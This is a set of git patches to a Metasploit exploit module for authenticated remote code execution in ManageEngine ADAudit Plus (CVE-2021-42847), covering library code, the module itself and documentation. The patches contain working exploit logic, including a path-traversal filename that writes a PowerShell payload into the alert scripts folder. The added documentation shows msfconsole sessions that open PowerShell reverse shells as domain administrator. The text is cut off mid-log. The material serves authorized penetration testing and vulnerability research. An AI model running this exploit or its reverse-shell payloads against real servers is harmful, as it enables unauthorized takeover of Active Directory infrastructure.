Will be an empty string # if the options param is invalid. diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index 17cb18d493..05a9e6eb7b 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -11,14 +11,14 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # @param auth_domain [String] The authentication domain to use to log in. # @param user [String] The username to log in as. # @param pass [String] The password to log in with. - # @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an + # @param only_get_cookie [Boolean] If this is set to true, then this method will only try to obtain an # 'adapcsrf' cookie that is required to perform API calls. # @return [Hash] Hash containing a `status` key, which is used to hold a # status value as an Integer value, a `message` key, which is used - # to hold a message associated with the status value as a String, - # an optional `adapcsrf_cookie` key which maps to a String containing the - # adapcsrf cookie to be used for authentication purposes, and an - # optional `configured_domains` key which maps to an Array of Strings, + # to hold a message associated with the status value as a String. May optionally + # contain an `adapcsrf_cookie` key which maps to a String containing the + # adapcsrf cookie to be used for authentication purposes, and/or a + # `configured_domains` key which maps to an Array of Strings, # each containing a domain name that has been configured to be used by # the ManageEngine ADAudit Plus target. def adaudit_plus_login(auth_domain, user = '', pass = '', only_get_cookie = false) @@ -127,7 +127,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login end # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, - # so we will call adaudit_plus_grab_configured_domains to retreive this information for us. + # so we will call adaudit_plus_grab_configured_domains to retrieve this information for us. # Note that adaudit_plus_obtain_configured_domains uses the same return format as this method. adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, only_get_cookie) end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index b97e9f7425..fab983547a 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -122,13 +122,13 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo end # if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie - unless res.code == 200 && res.body.include?('domainFullList') + unless res.code == 200 && res.body&.include?('domainFullList') return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => "Unexpected reply while attempting to #{purpose}." } end - + # try to obtain the adapcsrf cookie adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false @@ -145,6 +145,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo if only_get_cookie return { 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'Obtained the adapcsrf cookie required to perform API calls!', 'adapcsrf_cookie' => adapcsrf_cookie.value } end @@ -180,9 +181,9 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo end print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") - # we don't need to return a message here { 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'Obtained the adapcsrf cookie required to perform API calls along with the configured domains!', 'adapcsrf_cookie' => adapcsrf_cookie.value, 'configured_domains' => configured_domains } @@ -197,7 +198,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # status value as an Integer value, a `message` key, which is used # to hold a message associated with the status value as a String, # and an optional 'build_version' key, which is used to hold an object - # of type Reg::Version if the build number was successfully obtained. + # of type Rex::Version if the build number was successfully obtained. def adaudit_plus_grab_build(adapcsrf_cookie) vprint_status('Attempting to obtain the ADAudit Plus build number') @@ -222,14 +223,14 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo } end - build = res.body.scan(/"buildNumber":"(\s{0,}\d{4}\s{0,})",/)&.flatten&.first + build = res.body&.scan(/"buildNumber":"(\s*\d{4}\s*)",/)&.flatten&.first if build.blank? return { 'status' => adaudit_plus_status::NO_BUILD_NUMBER, 'message' => 'No build number was obtained.' } end - + unless build.strip =~ /^\d{4}$/ return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 086acb8582..859942082b 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -18,12 +18,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary - code by creating a custom alert profile and leveraging the custom + code by creating a custom alert profile and leveraging its custom alert script component. The module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and obtain the - build number. If the credentials are valid and the target is + build number of the target ADAudit Plus server. + + If the credentials are valid and the target is vulnerable, the module creates an alert profile that will be triggered for any failed login attempt to the configured domain. @@ -127,8 +129,8 @@ class MetasploitModule < Msf::Exploit::Remote return end - alert_id = res_get_alert.body.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first - if alert_id.nil? + alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first + if alert_id.blank? print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end @@ -149,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote return end - unless res_delete_alert.code == 200 && res_delete_alert.body.include?('Successfully deleted the alert profile') + unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile') print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") return end @@ -160,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote def create_alert_profile if @exploit_method == 'cve_2021_42847' print_status('Attempting to authenticate again in order to retrieve the required cookies.') - # we have to authenticate again in order to get the required cookie + # We have to authenticate again in order to get the required cookie, so reset the cookie cache cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] @@ -177,6 +179,8 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, login_msg) end + # Code must have been a success related code so we should have + # an adapcsrf_cookie entry within the login results hash. @adapcsrf_cookie = login_results['adapcsrf_cookie'] end @@ -193,15 +197,15 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage') end - unless res_check_7004.code == 200 && res_check_7004.body.include?('adap_common_script_info') + unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info') fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') end alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security' - if res_check_7004.body.include?(alert_script_7004_msg) - # we are dealing with 7004 or higher. so exploitation can only succeed if the exploit method is cve_2021_42847 + if res_check_7004.body&.include?(alert_script_7004_msg) + # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847 unless @exploit_method == 'cve_2021_42847' # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck gpo_watcher_status = gpo_watcher_data_check @@ -211,7 +215,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.') end - # here we have to authenticate again in order to get the required cookie + # here we have to authenticate again in order to get the required adapcsrf cookie cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] @@ -232,7 +236,8 @@ class MetasploitModule < Msf::Exploit::Remote end # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name - # when creating the alert profile + # when creating the alert profile. Therefore call the function to create this alert script and save the name of the + # script location. @ps1_script_name = create_alert_script end @@ -249,13 +254,13 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res_save_alert - fail_with(Failure::Unreachable, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save') + fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") end - unless res_save_alert.code == 200 && res_save_alert.body.include?('Successfully Saved the Alert Profile') + unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile') print_error("The server sent the following response: #{res_save_alert.body&.strip}") @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil - fail_with(Failure::UnexpectedReply, 'Failed to create an alert profile via /api/json/config/alertprofiles/save') + fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") end print_good("Successfully created alert profile #{@alert_name}") @@ -329,7 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, 'Connection failed') end - unless res.code == 200 && res.body.include?('{"success":true}') + unless res.code == 200 && res.body&.include?('{"success":true}') fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') end @@ -369,13 +374,14 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.') end - # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed + # if the only configured domain is the default domain, we will not be able to trigger the payload, so + # stop as there is no point in proceeding if domain_aliases == ['ADAuditPlus Authentication'] return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') end # set the domain alias to the first configured domain, unless the user provided an invalid domain - # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed + # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first @@ -414,13 +420,12 @@ class MetasploitModule < Msf::Exploit::Remote end build_version = build_results['build_version'] + if build_version < Rex::Version.new('7004') @exploit_method = 'default' - return CheckCode::Appears("The target is ADAudit Plus #{build_version}") - end - + CheckCode::Appears("The target is ADAudit Plus #{build_version}") # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists - if build_version < Rex::Version.new('7006') + elsif build_version < Rex::Version.new('7006') gpo_watcher_status = gpo_watcher_data_check case gpo_watcher_status when adaudit_plus_status::SUCCESS @@ -431,9 +436,9 @@ class MetasploitModule < Msf::Exploit::Remote when adaudit_plus_status::NO_ACCESS return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") end + else + CheckCode::Safe("The target is ADAudit Plus #{build_version}") end - - return CheckCode::Safe("The target is ADAudit Plus #{build_version}") end def exploit @@ -494,9 +499,10 @@ class MetasploitModule < Msf::Exploit::Remote end target_check_res = target_check_results['server_response'] + fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank? # In order to trigger the final payload in the exploit method, we will need to send an authentication request to - # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain, + # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain, # we can try to extract the FQDN for a configured domain from the server response. domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) domain_alias_msg = domain_alias_results['message'] From c088430bd9854fa51b81223c33cddce84471d795 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Thu, 4 May 2023 12:11:34 +0300 Subject: [PATCH 20/26] improve sanity checks in login method and other code review fixes --- .../http/manage_engine_adaudit_plus/login.rb | 18 ++++++++++++++---- lib/rex/proto/ms_dtyp.rb | 2 +- ...ageengine_adaudit_plus_authenticated_rce.rb | 3 +++ 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index 05a9e6eb7b..b9ebb55edd 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -38,7 +38,16 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login } end - unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') + # Make sure the target is actually ManageEngine ADAudit Plus + unless res_initial_cookies.code == 200 && res_initial_cookies.body =~ /<title>ADAudit Plus/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Target does not seem to be ADAudit Plus.' + } + end + + # Check if we have an initial adapcsrf cookie with the expected format + unless res_initial_cookies.headers.include?('Set-Cookie') && res_initial_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/ return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.' @@ -61,7 +70,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login } end - unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ + # check if we have a new adapcsrf cookie with the expected format, which is different from the initial adapcsrf cookie format + unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{128}/ return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the jump_to_js cookies required for authentication.' @@ -90,8 +100,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login 'message' => 'Connection failed' } unless res_login - # Check to see if we got the right response code - unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') + # Check to see if we got the right response code and the expected cookies. + unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') && ['JSESSIONIDADAP', 'JSESSIONIDSSO'].all? { |cookie_name| res_login.get_cookies =~ /#{cookie_name}=[A-F0-9]{32}/ } return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to authenticate.' diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index b71fb9fab9..00e3a538e2 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -80,7 +80,7 @@ module Rex::Proto::MsDtyp def self.random_generate # Taken from the "D" format as specified in # https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0 - "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase + "{#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}}".downcase end end diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 859942082b..4b4d4862b5 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -176,6 +176,9 @@ class MetasploitModule < Msf::Exploit::Remote when adaudit_plus_status::SUCCESS # just to distinguish it from any other potential statuses this method may return in the future else + # this covers other potential statuses that this method may return in the future + # note that here the login method should never return adaudit_plus_status::NO_DOMAINS + # however, if it would do so due to some library change, treating it as an unknown failure makes sense fail_with(Failure::Unknown, login_msg) end From 8c7ae1b6bbf9dc5565018ecb67f2c06e3dae332b Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Thu, 4 May 2023 13:46:10 -0500 Subject: [PATCH 21/26] Minor update to comments for clarity --- .../exploit/remote/http/manage_engine_adaudit_plus/login.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index b9ebb55edd..aba9eb9143 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -70,7 +70,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login } end - # check if we have a new adapcsrf cookie with the expected format, which is different from the initial adapcsrf cookie format + # check if we have a new adapcsrf cookie with the expected format, which is different + # from the initial adapcsrf cookie format that we got before visiting the adaudit_plus_jump_to_js_uri URI. unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{128}/ return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, From adec2f4fbba18c2395fabcb8e1c35b34a18c367f Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Thu, 4 May 2023 15:40:39 -0500 Subject: [PATCH 22/26] Update the login.rb code so we aren't as strict on cookies since older versions sometimes use JSESSIONIDADAPSSO instead of JSESSIONIDSSO for login cookies --- .../http/manage_engine_adaudit_plus/login.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index aba9eb9143..71c9080045 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -102,11 +102,16 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login } unless res_login # Check to see if we got the right response code and the expected cookies. - unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') && ['JSESSIONIDADAP', 'JSESSIONIDSSO'].all? { |cookie_name| res_login.get_cookies =~ /#{cookie_name}=[A-F0-9]{32}/ } - return { - 'status' => adaudit_plus_status::NO_ACCESS, - 'message' => 'Failed to authenticate.' - } + unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') + # Matches something like JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDADAPSSO=7EB091F6BB9A7A4C4476419DFC11E2A1; + # Or this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1; + # Or even this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1 + unless res_login.get_cookies =~ /(?:JSESSIONID[A-Z].*?=[0-9A-Z]{32};{0,1} {0,1}){2}/ + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to authenticate.' + } + end end # Check if we are actually logged in by visiting the home page. From 19651633c40847c129f8906b1175eb5e29da6e6e Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Thu, 4 May 2023 18:26:54 -0500 Subject: [PATCH 23/26] Update the installation instructions to resolve some issues encountered during testing --- ...geengine_adaudit_plus_authenticated_rce.md | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 9ccecb5b32..c576ad11f1 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -36,9 +36,24 @@ Vulnerable versions of ADAudit Plus are available [here](https://archives2.manag Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. After running the installer, you can launch ADAudit Plus by opening a command prompt with administrator privileges -and then running: `<install_dir>\bin\run.bat`. +and then running: `<install_dir>\bin\run.bat`. This will typically be at a location like `C:\Program Files\ManageEngine\ADAudit Plus\bin`. +Note that you may be asked to accept a license agreement and then be prompted for a license to use. Choose the Evaluation +license if this is the case. Note that targets running the Free license will not be able to be exploited due to limitations +imposed by the Free license on how often updates are retrieved. -The default ADAudit Plus credentials (set as default options for the module) are `admin`:`admin`. +Once this done, log into ADAudit Plus with the default credentials (set as default options for the module), aka `admin`:`admin`. +If the prompt `Default Domain Controllers Policy not configured` appears, click on the Configure link that appears to have +it configure the GPO Policy automatically for you. + +Then go to notifications and check for one that says `Product Not Installed As Service` and click on `Install Now`. Once +this is done open `Group Policy Management` on the domain controller and go to Forest->Domains->Select your domain-> +Default Domain Policy and right click on it then click `Edit`. + +Select Computer Configuration->Policies->Windows Settings->Security Settings->Advanced Audit Policy Configuration-> +Audit Policies->Logon/Logoff and set `Audit Logoff`, `Audit Logon`, `Audit Special Logon` and `Audit Other Logon/Logoff Events` +and check the `Configure the following audit events` box as well as the `Success` and `Failure` boxes beneath those. + +Finally log out of the web portal. You should be able to run the module now. ## Verification Steps 1. Start msfconsole From b8856bbb87c2794d35317ee5db140ca894350663 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 5 May 2023 09:59:11 +0300 Subject: [PATCH 24/26] fix capitalization of Htlm_fileName JSON parram --- .../http/manage_engine_adaudit_plus/json_post_data.rb | 6 +++--- .../http/manageengine_adaudit_plus_authenticated_rce.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb index eb4baf7b73..fd6badd95b 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb @@ -10,7 +10,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData # @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied. # @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format. # @option options [String] :xmlReport An XML string containing the header to use for the report. - # @option options [String] :html_fileName The filename to use for the post request if provided. + # @option options [String] :Html_fileName The filename to use for the post request if provided. # @option options [String] :htmlReport The location to save the HTML report if provided. # @return [String] A string representation of the JSON hash matching the # format required by the GPOWatcherData endpoint. Will be an empty string @@ -26,8 +26,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>' - html_filename = options['html_fileName'] - post_data['html_fileName'] = html_filename if html_filename + html_fileName = options['Html_fileName'] + post_data['Html_fileName'] = html_fileName if html_fileName html_report = options['htmlReport'] post_data['htmlReport'] = html_report if html_report diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 4b4d4862b5..d9258fd57f 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -322,7 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote gpo_post_data = { 'DOMAIN_NAME' => @domain, - 'html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed + 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed 'htmlReport' => payload.encoded } From c221edb1ec06ce343afc971717a9a7cf77260260 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Mon, 8 May 2023 11:45:44 -0500 Subject: [PATCH 25/26] Add in ADAudit Plus build 6077 testing examples --- ...geengine_adaudit_plus_authenticated_rce.md | 205 ++++++++++++++++++ 1 file changed, 205 insertions(+) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index c576ad11f1..596a038ed0 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -165,3 +165,208 @@ PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami lies\administrator PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ``` + +### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Powershell Payload +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +RHOSTS => 192.168.204.132 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.128 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check + +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[*] 192.168.204.132:8081 - The target appears to be vulnerable. The target is ADAudit Plus 6077 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 6077 +[*] Attempting to create an alert profile +[+] Successfully created alert profile fw4hKcxDG +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.132:62845) at 2023-05-04 19:42:57 -0500 +[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.132:62844) at 2023-05-04 19:42:57 -0500 +[*] Attempting to delete alert profile fw4hKcxDG +[+] Successfully deleted alert profile fw4hKcxDG + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami +daforest\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^X^Z +Background session 2? [y/N] y +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62844 (192.168.204.132) + 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62845 (192.168.204.132) + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +``` + +### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Meterpreter Payload +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +RHOSTS => 192.168.204.132 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) +PASSWORD admin yes Password to authenticate with +Proxies no A proxy chain of format type:host:port[,type:host:port][...] +RHOSTS 192.168.204.132 yes The target host(s), see 